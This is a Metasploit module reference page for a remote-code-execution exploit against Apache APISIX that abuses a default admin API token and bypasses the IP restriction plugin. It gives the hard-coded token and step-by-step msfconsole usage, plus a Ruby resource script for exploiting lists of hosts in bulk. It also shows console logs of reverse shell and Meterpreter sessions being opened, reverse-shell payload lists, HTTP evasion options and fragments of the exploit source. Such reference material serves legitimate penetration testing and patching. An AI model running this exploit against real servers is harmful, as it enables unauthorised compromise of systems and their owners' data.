APISIX Admin API default access token RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/apache_apisix_api_default_token_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: APISIX Admin API default access token RCE
Module: exploit/multi/http/apache_apisix_api_default_token_rce
Source code: modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb
Disclosure date: 2020-12-07
Last modification time: 2022-03-21 15:22:00 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-13945, CVE-2022-24112
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass the IP restriction plugin.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using apache_apisix_api_default_token_rce against a single host
Normally, you can use exploit/multi/http/apache_apisix_api_default_token_rce this way:
msf > use exploit/multi/http/apache_apisix_api_default_token_rce
msf exploit(apache_apisix_api_default_token_rce) > show targets
... a list of targets ...
msf exploit(apache_apisix_api_default_token_rce) > set TARGET target-id
msf exploit(apache_apisix_api_default_token_rce) > show options
... show and set options ...
msf exploit(apache_apisix_api_default_token_rce) > exploit
Using apache_apisix_api_default_token_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your apache_apisix_api_default_token_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/apache_apisix_api_default_token_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.
The Apache APISIX has a default API token edd1c9f034335f136f87ad84b625c8f1 defined at conf/config.yaml and in its default configuration
doesn't come with the ip-restriction plugin enabled. This allows any user to add a new route in its default configuration. By leveraging
the feature script added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if
ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.
This module was tested using a vulnerable docker container as available on the vulnhub project.
If we have the API token we can execute command using the parameter filter_func or script, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.
Version and OS
This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1
Verification Steps
Confirm that functionality works:
- Start
msfconsole use exploit/multi/http/apache_apisix_api_default_token_rce- set
RHOSTSandRPORT - Confirm the target is vulnerable:
check - Confirm that the target is vulnerable:
The target is vulnerable. - It come already with a default payload
cmd/unix/reverse_bash - set
LHOSTandLPORT exploit- Confirm you have now a cmd session
Options
TARGETURI (required)
The path to the APISIX routes controller (Default: /apisix).
API_KEY (required)
The admin API KEY for APISIX (Default: edd1c9f034335f136f87ad84b625c8f1).
ALLOWED_IP (required)
An IP address that is knew to be in the allowed list (Default: 127.0.0.1).
Scenarios
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking component version to 127.0.0.1:9080
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uname -a
Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/apache_apisix_api_default_token_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/apache_apisix_api_default_token_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show info
Name: APISIX Admin API default access token RCE
Module: exploit/multi/http/apache_apisix_api_default_token_rce
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-12-07
Provided by:
Heyder Andrade <[email protected]>
YuanSheng Wang <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWED_IP 127.0.0.1 yes IP in the allowed list
API_KEY edd1c9f034335f136f87ad84b625c8f1 yes Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /apisix yes Path to the APISIX DocumentRoot
VHOST no HTTP server virtual host
Payload information:
Description:
Apache APISIX has a default, built-in API token
edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of
the admin API, which leads to remote LUA code execution through the
script parameter added in the 2.x version. This module also
leverages another vulnerability to bypass the IP restriction plugin.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-13945
https://nvd.nist.gov/vuln/detail/CVE-2022-24112
https://github.com/apache/apisix/pull/2244
https://seclists.org/oss-sec/2020/q4/187
https://www.openwall.com/lists/oss-security/2022/02/11/3
Module Options
This is a complete list of options available in the multi/http/apache_apisix_api_default_token_rce exploit:
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show options
Module options (exploit/multi/http/apache_apisix_api_default_token_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWED_IP 127.0.0.1 yes IP in the allowed list
API_KEY edd1c9f034335f136f87ad84b625c8f1 yes Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /apisix yes Path to the APISIX DocumentRoot
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/apache_apisix_api_default_token_rce exploit:
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show advanced
Module advanced options (exploit/multi/http/apache_apisix_api_default_token_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SS
L23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gec no The User-Agent header to use for all requests
ko/20100101 Firefox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/apache_apisix_api_default_token_rce module can exploit:
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_apisix_api_default_token_rce exploit:
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/apache_apisix_api_default_token_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The batch-requests plugin is not enabled
Here is a relevant code snippet related to the "The batch-requests plugin is not enabled" error message:
77: }
78: ]
79: res = batch_request(batch_body(pipeline))
80:
81: else
82: vprint_error('The batch-requests plugin is not enabled')
83:
84: vprint_good('There is direct access to the routes using the provided token') if direct_access?
85:
86: res = apisix_request({
87: 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
Unable to determine which web server is running
Here is a relevant code snippet related to the "Unable to determine which web server is running" error message:
88: 'method' => 'GET'
89: })
90:
91: end
92: unless res && res.headers.key?('Server')
93: return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
94: end
95:
96: res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
97:
98: server = Regexp.last_match(1) || nil
A vulnerable version if APISIX server is not running
Here is a relevant code snippet related to the "A vulnerable version if APISIX server is not running" error message:
100:
101: if server && server.match(/APISIX/)
102: vprint_status("Found an #{server} #{version} http server header")
103: return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
104: end
105: return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
106: end
107:
108: def exploit
109: # batch request is the preferred method because it bypass the ip-restriction plugin
110: if batch_request_enabled?
Unable to delete the route
Here is a relevant code snippet related to the "Unable to delete the route" error message:
135: }
136: ]
137: vprint_status("Deleting route #{@payload_uri}")
138: # remove the route
139: res = batch_request(batch_body(pipeline))
140: vprint_error('Unable to delete the route') unless res&.code == 200
141: end
142:
143: def apisix_request(params = {})
144: params.merge!({
145: 'ctype' => 'application/json',
Unable to create route
Here is a relevant code snippet related to the "Unable to create route" error message:
232: 'body' => JSON.dump(data)
233: }
234: ]
235: # add the route
236: res = batch_request(batch_body(pipeline))
237: vprint_error('Unable to create route') unless res.code == 200
238: else
239: params = {
240: 'method' => 'PUT',
241: 'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
242: 'data' => JSON.dump(data)
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
260: res = apisix_request({
261: 'uri' => normalize_uri(target_uri.path, '/batch-requests'),
262: 'method' => 'POST'
263: })
264:
265: fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
266: return false if res.code == 404
267:
268: true
269: end
270:
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Related Pull Requests
- #16371 Merged Pull Request: Fix kubernetes websocket crash when identifying peer host
- #16325 Merged Pull Request: Replace IO read on binary files with File binread
- #16369 Merged Pull Request: Open a new Meterpreter session when trying to upgrade Meterpreter
- #16250 Merged Pull Request: Update service mixins for NAT options
- #16341 Merged Pull Request: implement vnc hash types
- #16367 Merged Pull Request: Fix character escaping in the apisix exploit
- #16207 Merged Pull Request: Fix vnc scanner module(s)
- #16298 Merged Pull Request: Capture plugin
- #16368 Merged Pull Request: Conditionally recalculate in ModuleSet
- #16352 Merged Pull Request: Add stale bot exemption for discussion label
References
- CVE-2020-13945
- CVE-2022-24112
- https://github.com/apache/apisix/pull/2244
- https://seclists.org/oss-sec/2020/q4/187
- https://www.openwall.com/lists/oss-security/2022/02/11/3
See Also
Check also the following modules related to this module:
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Related Nessus plugins:
Authors
- Heyder Andrade <eu[at]heyderandrade.org>
- YuanSheng Wang <membphis[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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